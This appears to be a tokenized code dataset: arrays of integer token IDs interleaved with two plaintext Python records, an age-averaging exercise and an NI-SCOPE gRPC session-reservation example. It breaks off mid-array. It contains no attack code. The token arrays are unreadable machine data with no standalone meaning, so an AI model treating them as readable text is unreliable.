29889,
12181,
29961,
29900,
29962,
1360,
29900,
1125,
13,
18884,
1596,
877,
1217,
2767,
848,
1495,
13,
18884,
2867,
13,
9651,
1683,
29901,
13,
18884,
411,
1722,
877,
1272,
29914,
18717,
9507,
29892,
525,
29874,
742,
25899,
2433,
1495,
408,
285,
29901,
13,
462,
1678,
9227,
353,
11799,
29889,
21533,
10507,
29898,
29888,
29892,
1746,
7039,
29922,
1839,
1256,
742,
525,
3150,
742,
525,
5358,
742,
525,
9812,
742,
525,
677,
742,
525,
24623,
742,
525,
401,
11287,
13,
462,
1678,
9227,
29889,
13236,
1242,
29898,
3126,
29889,
18132,
29898,
1482,
29918,
2248,
29889,
517,
29918,
3126,
29898,
12236,
2433,
3757,
4339,
29915,
4961,
13,
462,
1678,
1596,
877,
4951,
728,
2767,
742,
9507,
29897,
268,
13,
418,
13,
12008,
13,
13,
13,
1753,
15839,
29918,
524,
979,
7295,
13,
1678,
378,
29922,
22793,
29941,
29889,
6915,
877,
2248,
29918,
9803,
29889,
2585,
1495,
13,
1678,
10961,
29918,
3888,
29922,
15926,
29889,
949,
29918,
7638,
877,
2248,
29889,
7638,
742,
29881,
1853,
3790,
29915,
31084,
30354,
30690,
31183,
2396,
710,
7690,
842,
29918,
2248,
877,
31084,
30354,
30690,
31183,
1495,
13,
1678,
363,
775,
297,
10961,
29918,
3888,
29889,
2248,
29901,
13,
4706,
1018,
29901,
13,
9651,
5694,
29922,
1372,
29889,
657,
29918,
29895,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29892,
2962,
2433,
29906,
29900,
29900,
29953,
29899,
29900,
29896,
29899,
29900,
29896,
742,
29886,
1071,
29922,
29896,
29897,
13,
9651,
5694,
1839,
1256,
2033,
29922,
7382,
1839,
1256,
13359,
1958,
29898,
2892,
921,
29901,
11636,
29889,
710,
415,
603,
29898,
29916,
5501,
29995,
29979,
19222,
29885,
19222,
29881,
8785,
13,
9651,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
6506,
742,
2248,
29922,
8824,
29897,
13,
4706,
5174,
29901,
13,
9651,
1596,
29898,
401,
29897,
13,
9651,
2446,
13,
632,
13,
632,
13,
1753,
15839,
29918,
5504,
7295,
13,
1678,
378,
29922,
22793,
29941,
29889,
6915,
877,
2248,
29918,
9803,
29889,
2585,
1495,
13,
1678,
10677,
353,
378,
29889,
18127,
580,
13,
1678,
10677,
29922,
18127,
29889,
7978,
703,
6404,
1024,
3895,
21120,
29918,
6207,
5754,
1134,
2433,
2371,
29915,
1159,
13,
1678,
6131,
29922,
1761,
29898,
18127,
29889,
9155,
497,
3101,
13,
1678,
4723,
3250,
29922,
6008,
29889,
27765,
2141,
18448,
3250,
580,
13,
1678,
7234,
29922,
6008,
29889,
27765,
2141,
18721,
13,
1678,
565,
4723,
3250,
14065,
29945,
669,
7234,
5277,
29896,
29945,
669,
7234,
18572,
29929,
29901,
13,
4706,
1596,
29898,
18448,
3250,
29892,
18721,
29897,
13,
4706,
1596,
877,
3112,
338,
3534,
292,
931,
29892,
3113,
2767,
2678,
1495,
13,
4706,
736,
259,
13,
1678,
363,
775,
29918,
978,
297,
6131,
29901,
13,
4706,
775,
29922,
401,
29918,
978,
29961,
29900,
29962,
13,
4706,
2346,
2433,
2622,
334,
515,
376,
401,
29908,
1797,
491,
2635,
5153,
4046,
29871,
29945,
29915,
13,
4706,
848,
29922,
15926,
29889,
949,
29918,
2850,
29898,
1972,
29889,
6506,
877,
401,
742,
401,
511,
535,
29897,
13,
4706,
1369,
29922,
1272,
29889,
1256,
29889,
2813,
29898,
29896,
467,
5975,
29961,
29900,
29962,
13,
4706,
1018,
29901,
13,
9651,
5694,
29922,
1372,
29889,
657,
29918,
29895,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29892,
2962,
29922,
2962,
29897,
13,
9651,
5694,
1839,
1256,
2033,
29922,
7382,
1839,
1256,
13359,
1958,
29898,
2892,
921,
29901,
11636,
29889,
710,
415,
603,
29898,
29916,
5501,
29995,
29979,
19222,
29885,
19222,
29881,
8785,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
736,
13,
4706,
1683,
29901,
1678,
13,
9651,
565,
1369,
297,
731,
29898,
7382,
1839,
1256,
13359,
579,
668,
29898,
710,
22164,
13,
18884,
565,
848,
29889,
5358,
29889,
2813,
29898,
29896,
9601,
29900,
29962,
1360,
7382,
29889,
5358,
29889,
309,
542,
29961,
29900,
5387,
13,
462,
1678,
5694,
29922,
7382,
29889,
8865,
29898,
7382,
29889,
2248,
29961,
29900,
2314,
13,
462,
1678,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
4397,
742,
2248,
29922,
8824,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
5694,
29922,
1372,
29889,
657,
29918,
29895,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29892,
2962,
2433,
29906,
29900,
29900,
29953,
29899,
29900,
29896,
29899,
29900,
29896,
1495,
13,
462,
1678,
5694,
1839,
1256,
2033,
29922,
7382,
1839,
1256,
13359,
1958,
29898,
2892,
921,
29901,
11636,
29889,
710,
415,
603,
29898,
29916,
5501,
29995,
29979,
19222,
29885,
19222,
29881,
8785,
13,
462,
1678,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
6506,
742,
2248,
29922,
8824,
29897,
13,
9651,
25342,
7431,
29898,
7382,
15410,
29900,
29901,
13,
18884,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
4397,
742,
2248,
29922,
8824,
29897,
13,
18884,
1596,
29898,
401,
29892,
2962,
29897,
259,
13,
462,
13,
462,
13,
1753,
15839,
29918,
5504,
29906,
7295,
13,
1678,
378,
29922,
22793,
29941,
29889,
6915,
877,
2248,
29918,
9803,
29889,
2585,
1495,
13,
1678,
10677,
353,
378,
29889,
18127,
580,
13,
1678,
10677,
29922,
18127,
29889,
7978,
703,
6404,
1024,
3895,
21120,
29918,
6207,
5754,
1134,
2433,
2371,
29915,
1159,
13,
1678,
6131,
29922,
1761,
29898,
18127,
29889,
9155,
497,
3101,
13,
1678,
4723,
3250,
29922,
6008,
29889,
27765,
2141,
18448,
3250,
580,
13,
1678,
7234,
29922,
6008,
29889,
27765,
2141,
18721,
29974,
29947,
13,
1678,
565,
4723,
3250,
14065,
29945,
322,
7234,
5277,
29896,
29945,
322,
7234,
18572,
29929,
29901,
13,
4706,
1596,
29898,
18448,
3250,
29892,
18721,
29897,
13,
4706,
1596,
877,
3112,
338,
3534,
292,
931,
29892,
3113,
2767,
2678,
1495,
13,
4706,
396,
2457,
259,
13,
1678,
363,
775,
29918,
978,
297,
6131,
29901,
13,
4706,
931,
29889,
17059,
29898,
29896,
29900,
29897,
13,
4706,
775,
29922,
401,
29918,
978,
29961,
29900,
29962,
13,
4706,
2346,
2433,
2622,
334,
515,
376,
401,
29908,
1797,
491,
2635,
5153,
4046,
29871,
29945,
29915,
13,
4706,
848,
29922,
15926,
29889,
949,
29918,
2850,
29898,
1972,
29889,
6506,
877,
401,
742,
401,
511,
535,
29897,
13,
4706,
1369,
29922,
1272,
29889,
1256,
29889,
2813,
29898,
29896,
467,
5975,
29961,
29900,
29962,
13,
4706,
1018,
29901,
13,
9651,
5694,
29922,
1372,
29889,
657,
29918,
29882,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29892,
2962,
29922,
2962,
29892,
29886,
1071,
29922,
29896,
29900,
467,
12071,
29918,
2248,
2141,
6605,
29918,
5975,
877,
1256,
1495,
13,
9651,
5694,
1839,
401,
2033,
29922,
1272,
1839,
401,
2033,
29961,
29900,
29962,
13,
9651,
5694,
1839,
24623,
2033,
29922,
7382,
1839,
24623,
2033,
29914,
29896,
29900,
29900,
13,
9651,
5694,
29922,
7382,
29889,
8865,
877,
14506,
742,
8990,
29922,
29896,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
396,
2457,
13,
4706,
1683,
29901,
1678,
13,
9651,
565,
1369,
297,
1051,
29898,
7382,
1839,
1256,
13359,
1958,
29898,
2892,
921,
29901,
851,
29898,
29916,
876,
1125,
13,
18884,
565,
7442,
29889,
14486,
29898,
1272,
29889,
5358,
29889,
2813,
29898,
29896,
9601,
29900,
1402,
29906,
29897,
1360,
9302,
29889,
14486,
29898,
7382,
29889,
5358,
29889,
309,
542,
29961,
29900,
1402,
29906,
1125,
13,
462,
1678,
5694,
29922,
7382,
29889,
8865,
29898,
7382,
29889,
2248,
29961,
29900,
2314,
13,
462,
1678,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
4397,
742,
2248,
29922,
8824,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
5694,
29922,
1372,
29889,
657,
29918,
29882,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29892,
2962,
2433,
29906,
29900,
29900,
29953,
29899,
29900,
29896,
29899,
29900,
29896,
742,
29886,
1071,
29922,
29896,
29900,
29900,
467,
12071,
29918,
2248,
2141,
6605,
29918,
5975,
877,
1256,
1495,
13,
462,
1678,
5694,
1839,
401,
2033,
29922,
1272,
1839,
401,
2033,
29961,
29900,
29962,
13,
462,
1678,
5694,
1839,
24623,
2033,
29922,
7382,
1839,
24623,
2033,
29914,
29896,
29900,
29900,
13,
462,
1678,
5694,
29922,
7382,
29889,
8865,
877,
14506,
742,
8990,
29922,
29896,
29897,
13,
462,
1678,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
6506,
742,
2248,
29922,
8824,
29897,
13,
9651,
25342,
7431,
29898,
7382,
15410,
29900,
29901,
13,
18884,
5694,
29889,
517,
29918,
2850,
29898,
401,
29892,
535,
29892,
361,
29918,
9933,
2433,
4397,
742,
2248,
29922,
8824,
29897,
13,
4706,
1596,
29898,
401,
29892,
2962,
29897,
29871,
13,
13,
13,
13,
1753,
2793,
29918,
5504,
7295,
13,
1678,
2380,
29918,
3888,
29922,
15926,
29889,
949,
29918,
7638,
877,
2248,
29889,
7638,
742,
29881,
1853,
3790,
29915,
31084,
30354,
30690,
31183,
2396,
710,
7690,
31084,
30354,
30690,
31183,
13,
1678,
363,
775,
297,
2380,
29918,
3888,
29901,
13,
4706,
2380,
29918,
10382,
29898,
401,
29922,
401,
29897,
13,
462,
462,
268,
13,
12008,
308,
13,
2218,
29922,
359,
29889,
657,
29883,
9970,
580,
23097,
29914,
1272,
22208,
13,
1272,
29922,
15926,
29889,
949,
29918,
7638,
877,
2248,
29889,
7638,
742,
2248,
29918,
1054,
29922,
29900,
29892,
29881,
1853,
3790,
29915,
31084,
30354,
30690,
31183,
2396,
710,
1800,
13,
1454,
263,
297,
848,
1839,
31084,
30354,
30690,
31183,
2033,
29901,
13,
1678,
679,
29918,
29882,
391,
29918,
1272,
29898,
29874,
29892,
29890,
29922,
8516,
29897,
13,
12008,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
396,
2084,
29922,
359,
29889,
657,
29883,
9970,
580,
13,
1678,
396,
359,
29889,
305,
3972,
29898,
2084,
23097,
29914,
1469,
1495,
13,
1678,
15839,
29918,
5504,
580,
13,
29937,
268,
20410,
29889,
17991,
2141,
3250,
29889,
271,
877,
29900,
29900,
29901,
29900,
29900,
2824,
1867,
29898,
16211,
936,
29918,
5504,
29897,
13,
29937,
268,
1550,
5852,
29901,
13,
29937,
308,
20410,
29889,
3389,
29918,
29886,
2548,
580,
13,
29937,
308,
931,
29889,
17059,
29898,
29896,
29900,
29897,
13,
13,
462,
462,
268,
13,
29937,
16211,
936,
29918,
5504,
580,
462,
462,
268,
13,
462,
462,
268,
13,
29937,
2248,
1256,
29918,
5504,
580,
13,
2
] |
CURSO PYTHON/exerciciosSecao1e2/exe004.py | Sabrinaparussoli/PYTHON | 0 | 171681 | <gh_stars>0
x = 0
soma = 0
i = 0
while x != -1:
x = int(input('digite uma idade: '))
if x != -1:
soma += x
i += 1
print(soma/i) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29916,
353,
29871,
29900,
13,
29879,
4125,
353,
29871,
29900,
13,
29875,
353,
29871,
29900,
13,
8000,
921,
2804,
448,
29896,
29901,
13,
259,
921,
353,
938,
29898,
2080,
877,
7501,
568,
3672,
1178,
1943,
29901,
525,
876,
13,
259,
565,
921,
2804,
448,
29896,
29901,
13,
539,
1047,
29874,
4619,
921,
13,
539,
474,
4619,
29871,
29896,
13,
2158,
29898,
29879,
4125,
29914,
29875,
29897,
2
] |
examples/session/session-reservation.py | tdunkle/grpc-device | 0 | 135010 | r"""Initiate a session and exercise some common reservation operations on the session.
This particular example is using NI-SCOPE but the session reservation API should work for any driver
session.
The gRPC API is built from the C API. NI-SCOPE documentation is installed with the driver at:
C:\Program Files (x86)\IVI Foundation\IVI\Drivers\niScope\Documentation\English\Digitizers.chm
A version of this .chm is available online at:
https://zone.ni.com/reference/en-XX/help/370592AB-01/
Getting Started:
To run this example, install "NI-SCOPE Driver" on the server machine:
https://www.ni.com/en-us/support/downloads/drivers/download.ni-scope.html
For instructions on how to use protoc to generate gRPC client interfaces, see our "Creating a gRPC
Client" wiki page:
https://github.com/ni/grpc-device/wiki/Creating-a-gRPC-Client
Refer to the NI-SCOPE gRPC Wiki to determine the valid channel and resource names for your NI-SCOPE
module:
https://github.com/ni/grpc-device/wiki/NI-SCOPE-C-Function-Reference
Running from command line:
Server machine's IP address, port number, and resource name can be passed as separate command line
arguments.
> python session-reservation.py <server_address> <port_number> <resource_name>
If they are not passed in as command line arguments, then by default the server address will be
"localhost:31763", with "SimulatedScope" as the resource name.
"""
import sys
import grpc
import niscope_pb2 as niscope_types
import niscope_pb2_grpc as grpc_niscope
import session_pb2 as session_types
import session_pb2_grpc as grpc_session
SERVER_ADDRESS = "localhost"
SERVER_PORT = "31763"
# Resource name and options for a simulated 5164 client. Change them according to the NI-SCOPE
# model.
RESOURCE = "SimulatedScope"
OPTIONS = "Simulate=1, DriverSetup=Model:5164; BoardType:PXIe"
CLIENT_1_ID = "Client1"
CLIENT_2_ID = "Client2"
# Read in cmd args
if len(sys.argv) >= 2:
SERVER_ADDRESS = sys.argv[1]
if len(sys.argv) >= 3:
SERVER_PORT = sys.argv[2]
if len(sys.argv) >= 4:
RESOURCE = sys.argv[3]
OPTIONS = ""
# Create the communication channel for the remote host and create connections to the NI-SCOPE and
# session services.
channel = grpc.insecure_channel(f"{SERVER_ADDRESS}:{SERVER_PORT}")
niscope_client = grpc_niscope.NiScopeStub(channel)
session_client = grpc_session.SessionUtilitiesStub(channel)
def check_for_error(vi, status):
"""Raise an exception if the status indicates an error."""
if status != 0:
error_message_response = niscope_client.ErrorMessage(
niscope_types.ErrorMessageRequest(vi=vi, error_code=status)
)
raise Exception(error_message_response.error_message)
try:
# Reset server to start in a fresh state.
reset_server_response = session_client.ResetServer(session_types.ResetServerRequest())
assert reset_server_response.is_server_reset
# Open session to NI-SCOPE module with options.
session_name = "NI-Scope-Session-1"
print("\nInitializing session...")
init_with_options_response = niscope_client.InitWithOptions(
niscope_types.InitWithOptionsRequest(
session_name=session_name, resource_name=RESOURCE, id_query=False, option_string=OPTIONS
)
)
vi = init_with_options_response.vi
check_for_error(vi, init_with_options_response.status)
print(f"Session initialized with name {session_name} and id {vi.id}.\n")
# Check if session is reserved by client 1.
# Note: The reservation_id is defined by and has meaning only for the client + Session
# Reservation API.
print(f"Checking if {session_name} is reserved by {CLIENT_1_ID}...")
is_reserved_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_1_ID)
)
assert not is_reserved_response.is_reserved
print(f"{session_name} is not reserved by {CLIENT_1_ID}.\n")
# Reserve session for client 1.
print(f"Reserving {session_name} for {CLIENT_1_ID}...")
reserve_response = session_client.Reserve(
session_types.ReserveRequest(reservation_id=session_name, client_id=CLIENT_1_ID)
)
is_reserved = reserve_response.is_reserved
assert is_reserved
is_reserved_by_client1_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_1_ID)
)
assert is_reserved_by_client1_response.is_reserved
print(f"{session_name} is reserved by {CLIENT_1_ID}.\n")
# Check reservation on client 2.
print(f"Checking if {session_name} is reserved by {CLIENT_2_ID}...")
is_reserved_by_client2_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_2_ID)
)
assert not is_reserved_by_client2_response.is_reserved
print(f"{session_name} is not reserved by {CLIENT_2_ID}.\n")
# Unreserve on client 1.
print(f"Unreserving {session_name} reserved by {CLIENT_1_ID}...")
is_unreserved_response = session_client.Unreserve(
session_types.UnreserveRequest(reservation_id=session_name, client_id=CLIENT_1_ID)
)
assert is_unreserved_response.is_unreserved
is_reserved_by_client1_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_1_ID)
)
assert not is_reserved_by_client1_response.is_reserved
print(f"{session_name} is no longer reserved by {CLIENT_1_ID}.\n")
print(f"Reserving {session_name} for {CLIENT_2_ID}...")
reserve_response = session_client.Reserve(
session_types.ReserveRequest(reservation_id=session_name, client_id=CLIENT_2_ID)
)
is_reserved = reserve_response.is_reserved
assert is_reserved
is_reserved_by_client2_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_2_ID)
)
assert is_reserved_by_client2_response.is_reserved
print(f"{session_name} is reserved by {CLIENT_2_ID}.\n")
# Reset server.
print(f"Resetting the server...")
reset_server_response = session_client.ResetServer(session_types.ResetServerRequest())
assert reset_server_response.is_server_reset
is_reserved_by_client2_response = session_client.IsReservedByClient(
session_types.IsReservedByClientRequest(reservation_id=session_name, client_id=CLIENT_2_ID)
)
assert not is_reserved_by_client2_response.is_reserved
print(f"All sessions have been closed and reservations have been cleared.\n")
# If NI-SCOPE API or Session API throws an exception, print the error message.
except grpc.RpcError as rpc_error:
error_message = rpc_error.details()
if rpc_error.code() == grpc.StatusCode.UNAVAILABLE:
error_message = f"Failed to connect to server on {SERVER_ADDRESS}:{SERVER_PORT}"
elif rpc_error.code() == grpc.StatusCode.UNIMPLEMENTED:
error_message = (
"The operation is not implemented or is not supported/enabled in this service"
)
print(f"{error_message}")
| [
1,
364,
15945,
29908,
797,
4812,
403,
263,
4867,
322,
15058,
777,
3619,
620,
20525,
6931,
373,
278,
4867,
29889,
13,
13,
4013,
3153,
1342,
338,
773,
405,
29902,
29899,
29903,
3217,
4162,
541,
278,
4867,
620,
20525,
3450,
881,
664,
363,
738,
7156,
13,
7924,
29889,
13,
13,
1576,
330,
29934,
9026,
3450,
338,
4240,
515,
278,
315,
3450,
29889,
405,
29902,
29899,
29903,
3217,
4162,
5106,
338,
5130,
411,
278,
7156,
472,
29901,
13,
29871,
315,
3583,
9283,
12745,
313,
29916,
29947,
29953,
2144,
5667,
29902,
10606,
29905,
5667,
29902,
29905,
29928,
374,
874,
29905,
1240,
15289,
29905,
6268,
362,
29905,
24636,
29905,
14991,
277,
19427,
29889,
305,
29885,
13,
13,
29909,
1873,
310,
445,
869,
305,
29885,
338,
3625,
7395,
472,
29901,
13,
29871,
2045,
597,
8028,
29889,
1240,
29889,
510,
29914,
5679,
29914,
264,
29899,
6247,
29914,
8477,
29914,
29941,
29955,
29900,
29945,
29929,
29906,
2882,
29899,
29900,
29896,
29914,
13,
13,
2577,
1259,
7370,
287,
29901,
13,
13,
1762,
1065,
445,
1342,
29892,
2601,
376,
12916,
29899,
29903,
3217,
4162,
26391,
29908,
373,
278,
1923,
4933,
29901,
13,
29871,
2045,
597,
1636,
29889,
1240,
29889,
510,
29914,
264,
29899,
375,
29914,
5924,
29914,
10382,
29879,
29914,
24477,
874,
29914,
10382,
29889,
1240,
29899,
6078,
29889,
1420,
13,
13,
2831,
11994,
373,
920,
304,
671,
17814,
29883,
304,
5706,
330,
29934,
9026,
3132,
19510,
29892,
1074,
1749,
376,
9832,
1218,
263,
330,
29934,
9026,
13,
4032,
29908,
281,
10058,
1813,
29901,
13,
29871,
2045,
597,
3292,
29889,
510,
29914,
1240,
29914,
629,
6739,
29899,
10141,
29914,
4594,
29914,
9832,
1218,
29899,
29874,
29899,
29887,
29934,
9026,
29899,
4032,
13,
13,
1123,
571,
304,
278,
405,
29902,
29899,
29903,
3217,
4162,
330,
29934,
9026,
3772,
29875,
304,
8161,
278,
2854,
8242,
322,
6503,
2983,
363,
596,
405,
29902,
29899,
29903,
3217,
4162,
13,
5453,
29901,
13,
29871,
2045,
597,
3292,
29889,
510,
29914,
1240,
29914,
629,
6739,
29899,
10141,
29914,
4594,
29914,
12916,
29899,
29903,
3217,
4162,
29899,
29907,
29899,
6678,
29899,
7422,
13,
13,
27795,
515,
1899,
1196,
29901,
13,
13,
6004,
4933,
29915,
29879,
5641,
3211,
29892,
2011,
1353,
29892,
322,
6503,
1024,
508,
367,
4502,
408,
5004,
1899,
1196,
13,
25699,
29889,
13,
29871,
1405,
3017,
4867,
29899,
690,
20525,
29889,
2272,
529,
2974,
29918,
7328,
29958,
529,
637,
29918,
4537,
29958,
529,
10314,
29918,
978,
29958,
13,
3644,
896,
526,
451,
4502,
297,
408,
1899,
1196,
6273,
29892,
769,
491,
2322,
278,
1923,
3211,
674,
367,
13,
29908,
7640,
29901,
29941,
29896,
29955,
29953,
29941,
613,
411,
376,
8942,
7964,
15289,
29908,
408,
278,
6503,
1024,
29889,
13,
15945,
29908,
13,
13,
5215,
10876,
13,
13,
5215,
867,
6739,
13,
5215,
302,
275,
4338,
29918,
24381,
29906,
408,
302,
275,
4338,
29918,
8768,
13,
5215,
302,
275,
4338,
29918,
24381,
29906,
29918,
629,
6739,
408,
867,
6739,
29918,
6994,
4338,
13,
5215,
4867,
29918,
24381,
29906,
408,
4867,
29918,
8768,
13,
5215,
4867,
29918,
24381,
29906,
29918,
629,
6739,
408,
867,
6739,
29918,
7924,
13,
13,
18603,
29918,
17744,
26785,
353,
376,
7640,
29908,
13,
18603,
29918,
15082,
353,
376,
29941,
29896,
29955,
29953,
29941,
29908,
13,
13,
29937,
18981,
1024,
322,
3987,
363,
263,
1027,
7964,
29871,
29945,
29896,
29953,
29946,
3132,
29889,
10726,
963,
5034,
304,
278,
405,
29902,
29899,
29903,
3217,
4162,
13,
29937,
1904,
29889,
13,
1525,
27839,
4741,
353,
376,
8942,
7964,
15289,
29908,
13,
14094,
27946,
353,
376,
8942,
5987,
29922,
29896,
29892,
26391,
26947,
29922,
3195,
29901,
29945,
29896,
29953,
29946,
29936,
12590,
1542,
29901,
29925,
29990,
29902,
29872,
29908,
13,
13,
27205,
3919,
29918,
29896,
29918,
1367,
353,
376,
4032,
29896,
29908,
13,
27205,
3919,
29918,
29906,
29918,
1367,
353,
376,
4032,
29906,
29908,
13,
13,
29937,
7523,
297,
9920,
6389,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
6736,
29871,
29906,
29901,
13,
1678,
26996,
5348,
29918,
17744,
26785,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
6736,
29871,
29941,
29901,
13,
1678,
26996,
5348,
29918,
15082,
353,
10876,
29889,
19218,
29961,
29906,
29962,
13,
361,
7431,
29898,
9675,
29889,
19218,
29897,
6736,
29871,
29946,
29901,
13,
1678,
390,
2890,
22970,
4741,
353,
10876,
29889,
19218,
29961,
29941,
29962,
13,
1678,
6418,
29911,
27946,
353,
5124,
13,
13,
29937,
6204,
278,
12084,
8242,
363,
278,
7592,
3495,
322,
1653,
12368,
304,
278,
405,
29902,
29899,
29903,
3217,
4162,
322,
13,
29937,
4867,
5786,
29889,
13,
12719,
353,
867,
6739,
29889,
262,
24216,
29918,
12719,
29898,
29888,
29908,
29912,
18603,
29918,
17744,
26785,
6177,
29912,
18603,
29918,
15082,
27195,
13,
6994,
4338,
29918,
4645,
353,
867,
6739,
29918,
6994,
4338,
29889,
29940,
29875,
15289,
855,
431,
29898,
12719,
29897,
13,
7924,
29918,
4645,
353,
867,
6739,
29918,
7924,
29889,
7317,
7270,
1907,
855,
431,
29898,
12719,
29897,
13,
13,
13,
1753,
1423,
29918,
1454,
29918,
2704,
29898,
1403,
29892,
4660,
1125,
13,
1678,
9995,
29934,
29874,
895,
385,
3682,
565,
278,
4660,
14088,
385,
1059,
1213,
15945,
13,
1678,
565,
4660,
2804,
29871,
29900,
29901,
13,
4706,
1059,
29918,
4906,
29918,
5327,
353,
302,
275,
4338,
29918,
4645,
29889,
2392,
3728,
29898,
13,
9651,
302,
275,
4338,
29918,
8768,
29889,
2392,
3728,
3089,
29898,
1403,
29922,
1403,
29892,
1059,
29918,
401,
29922,
4882,
29897,
13,
4706,
1723,
13,
4706,
12020,
8960,
29898,
2704,
29918,
4906,
29918,
5327,
29889,
2704,
29918,
4906,
29897,
13,
13,
13,
2202,
29901,
13,
1678,
396,
2538,
300,
1923,
304,
1369,
297,
263,
10849,
2106,
29889,
13,
1678,
10092,
29918,
2974,
29918,
5327,
353,
4867,
29918,
4645,
29889,
27175,
6004,
29898,
7924,
29918,
8768,
29889,
27175,
6004,
3089,
3101,
13,
1678,
4974,
10092,
29918,
2974,
29918,
5327,
29889,
275,
29918,
2974,
29918,
12071,
13,
13,
1678,
396,
4673,
4867,
304,
405,
29902,
29899,
29903,
3217,
4162,
3883,
411,
3987,
29889,
13,
1678,
4867,
29918,
978,
353,
376,
12916,
29899,
15289,
29899,
7317,
29899,
29896,
29908,
13,
1678,
1596,
14182,
29876,
15514,
5281,
4867,
856,
1159,
13,
1678,
2069,
29918,
2541,
29918,
6768,
29918,
5327,
353,
302,
275,
4338,
29918,
4645,
29889,
6644,
3047,
5856,
29898,
13,
4706,
302,
275,
4338,
29918,
8768,
29889,
6644,
3047,
5856,
3089,
29898,
13,
9651,
4867,
29918,
978,
29922,
7924,
29918,
978,
29892,
6503,
29918,
978,
29922,
1525,
27839,
4741,
29892,
1178,
29918,
1972,
29922,
8824,
29892,
2984,
29918,
1807,
29922,
14094,
27946,
13,
4706,
1723,
13,
1678,
1723,
13,
1678,
3516,
353,
2069,
29918,
2541,
29918,
6768,
29918,
5327,
29889,
1403,
13,
1678,
1423,
29918,
1454,
29918,
2704,
29898,
1403,
29892,
2069,
29918,
2541,
29918,
6768,
29918,
5327,
29889,
4882,
29897,
13,
1678,
1596,
29898,
29888,
29908,
7317,
16601,
411,
1024,
426,
7924,
29918,
978,
29913,
322,
1178,
426,
1403,
29889,
333,
1836,
29905,
29876,
1159,
13,
13,
1678,
396,
5399,
565,
4867,
338,
21676,
491,
3132,
29871,
29896,
29889,
13,
1678,
396,
3940,
29901,
450,
620,
20525,
29918,
333,
338,
3342,
491,
322,
756,
6593,
871,
363,
278,
3132,
718,
16441,
13,
1678,
396,
2538,
20525,
3450,
29889,
13,
1678,
1596,
29898,
29888,
29908,
5596,
292,
565,
426,
7924,
29918,
978,
29913,
338,
21676,
491,
426,
27205,
3919,
29918,
29896,
29918,
1367,
29913,
856,
1159,
13,
1678,
338,
29918,
690,
9841,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29896,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
451,
338,
29918,
690,
9841,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
29912,
7924,
29918,
978,
29913,
338,
451,
21676,
491,
426,
27205,
3919,
29918,
29896,
29918,
1367,
1836,
29905,
29876,
1159,
13,
13,
1678,
396,
27811,
4867,
363,
3132,
29871,
29896,
29889,
13,
1678,
1596,
29898,
29888,
29908,
1666,
29530,
426,
7924,
29918,
978,
29913,
363,
426,
27205,
3919,
29918,
29896,
29918,
1367,
29913,
856,
1159,
13,
1678,
23986,
29918,
5327,
353,
4867,
29918,
4645,
29889,
1666,
7143,
29898,
13,
4706,
4867,
29918,
8768,
29889,
1666,
7143,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29896,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
338,
29918,
690,
9841,
353,
23986,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
4974,
338,
29918,
690,
9841,
13,
1678,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29896,
29918,
5327,
353,
4867,
29918,
4645,
29889,
3624,
1666,
9841,
2059,
4032,
29898,
13,
4706,
4867,
29918,
8768,
29889,
3624,
1666,
9841,
2059,
4032,
3089,
29898,
690,
20525,
29918,
333,
29922,
7924,
29918,
978,
29892,
3132,
29918,
333,
29922,
27205,
3919,
29918,
29896,
29918,
1367,
29897,
13,
1678,
1723,
13,
1678,
4974,
338,
29918,
690,
9841,
29918,
1609,
29918,
4645,
29896,
29918,
5327,
29889,
275,
29918,
690,
9841,
13,
1678,
1596,
29898,
29888,
29908,
29912,
7924,
29918,
978,
29913,
338,
21676,
491,
426,
27205,
3919,
29918,
29896,
29918,
1367,
1836,
29905,
29876,
1159,
13,
13,
1678,
396,
5399,
620,
20525,
373,
3132,
29871,
29906,
29889,
13,
1678,
1596,
29898,
29888,
29908,
5596,
292,
565,
